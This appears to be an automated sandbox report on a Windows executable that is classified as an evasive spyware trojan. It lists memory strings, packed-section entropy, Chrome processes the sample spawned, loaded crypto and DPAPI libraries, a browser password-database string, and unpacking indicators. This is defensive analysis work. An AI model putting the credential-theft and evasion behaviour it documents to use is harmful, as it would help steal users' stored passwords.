Source: file.exe, 00000000.00000003.1765924713.0000000005D78000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1757110206.0000000005C0C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1778006435.0000000005CA6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1759555133.0000000005B68000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1775685433.0000000005C9E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1760909311.0000000005D0B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1781327208.0000000005B6B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1759002471.0000000005B6D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1764713531.0000000005C62000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1766804820.0000000005C82000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1756325997.0000000005860000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1767943689.0000000005B6F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1759952773.0000000005CED000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1764859679.0000000005B67000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1762728784.0000000005C4A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1758479027.0000000005B6C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1758232101.0000000005C20000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000002.1910032998.000000000576A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOG vs file.exe
Source: file.exe, 00000000.00000003.1767733863.0000000005C8B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1756820452.00000000059C5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1792215867.000000000576D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOG vs file.exe
Source: file.exe, 00000000.00000003.1768277515.0000000005B68000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1757737359.0000000005CAA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1763747605.0000000005C57000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1792331066.0000000000A81000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefO vs file.exe
Source: file.exe, 00000000.00000003.1757353709.0000000005C1E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1763062010.0000000005B70000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1759157997.0000000005C26000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1757028818.0000000005B70000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1763208341.0000000005C56000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1757488346.0000000005B64000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1792049833.0000000000A81000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefO vs file.exe
Source: file.exe, 00000000.00000003.1762289565.0000000005C47000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1768614984.0000000005DC0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1766340102.0000000005D8F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1759258880.0000000005B63000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1766053615.0000000005B63000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1756959255.0000000005C0F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1764492353.0000000005B63000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1779540755.0000000005B68000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1774957468.0000000005CAE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1765734198.0000000005C64000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1761556900.0000000005B68000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1756618006.00000000059C7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1757611588.0000000005C03000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1764001782.0000000005C57000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1761749918.0000000005C4F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1774681702.0000000005B71000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1760304316.0000000005CFB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1780268421.0000000005DF7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1760544399.0000000005C3E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1770963079.0000000005CA1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1760661884.0000000005B6A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1762542693.0000000005B62000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1780783238.0000000005CBB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1766194423.0000000005C77000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1764254963.0000000005B6A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1763600656.0000000005B6B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000002.1910032998.0000000005756000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1781731628.0000000005CB2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1757258089.0000000005B70000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1792049833.0000000000A66000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000002.1894285939.0000000000A1F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000002.1912094583.0000000005E27000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1760191795.0000000005C30000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1762883549.0000000005D2C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1775268508.0000000005B64000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1756690829.0000000005B65000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1761104338.0000000005B71000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1765318056.0000000005C66000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1758344566.0000000005CE0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1763461418.0000000005C5E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1764995936.0000000005C71000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1756515405.0000000005B6F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1772354539.0000000005B63000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1758024066.0000000005C19000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1765150702.0000000005B65000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1759830474.0000000005C2A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1756887248.0000000005B68000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1768854638.0000000005B68000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1768136646.0000000005C87000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1774331102.0000000005DD1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1776642465.0000000005B6B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1759385551.0000000005C22000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1760807860.0000000005C3B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1764376065.0000000005C69000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1757863717.0000000005B6C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9974087252475248
Source: file.exe	Static PE information: Section: saixhvao ZLIB complexity 0.9944940757175227

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@24/71@11/6

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe, 00000000.00000003.1633925905.00000000056E4000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1649738479.00000000057C3000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1650164432.000000000576A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1634401056.00000000056C5000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: file.exe

Virustotal: Detection: 41%

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2140 --field-trial-handle=1908,i,10312143833214285675,2582168569992251965,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2104 --field-trial-handle=1908,i,3294702590203488965,14854174447788199896,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2140 --field-trial-handle=1908,i,10312143833214285675,2582168569992251965,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2104 --field-trial-handle=1908,i,3294702590203488965,14854174447788199896,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.shell.servicehostbuilder.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wkscli.dll	Jump to behavior

Source: Google Drive.lnk.5.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.5.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.5.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.5.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.5.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.5.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: file.exe

Static file information: File size 1865216 > 1048576

Source: file.exe

Static PE information: Raw size of saixhvao is bigger than: 0x100000 < 0x19dc00

Source:

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.d70000.0.unpack :EW;.rsrc :W;.idata :W; :EW;saixhvao:EW;cgvumvdv:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;saixhvao:EW;cgvumvdv:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1d14c0 should be: 0x1d5929

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: saixhvao
Source: file.exe	Static PE information: section name: cgvumvdv
Source: file.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00A89E5D pushfd ; retf	0_3_00A89E6F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00A8DC10 push edi; ret	0_3_00A8DC40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00A907C1 pushfd ; retf	0_3_00A907CB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00A907C1 pushfd ; retf	0_3_00A907CB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00A907C1 pushfd ; retf	0_3_00A907CB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00A907C1 pushfd ; retf	0_3_00A907CB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00A97C92 push cs; retf	0_3_00A97C93
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00A97C92 push cs; retf	0_3_00A97C93
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00A97C92 push cs; retf	0_3_00A97C93
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00A97C92 push cs; retf	0_3_00A97C93
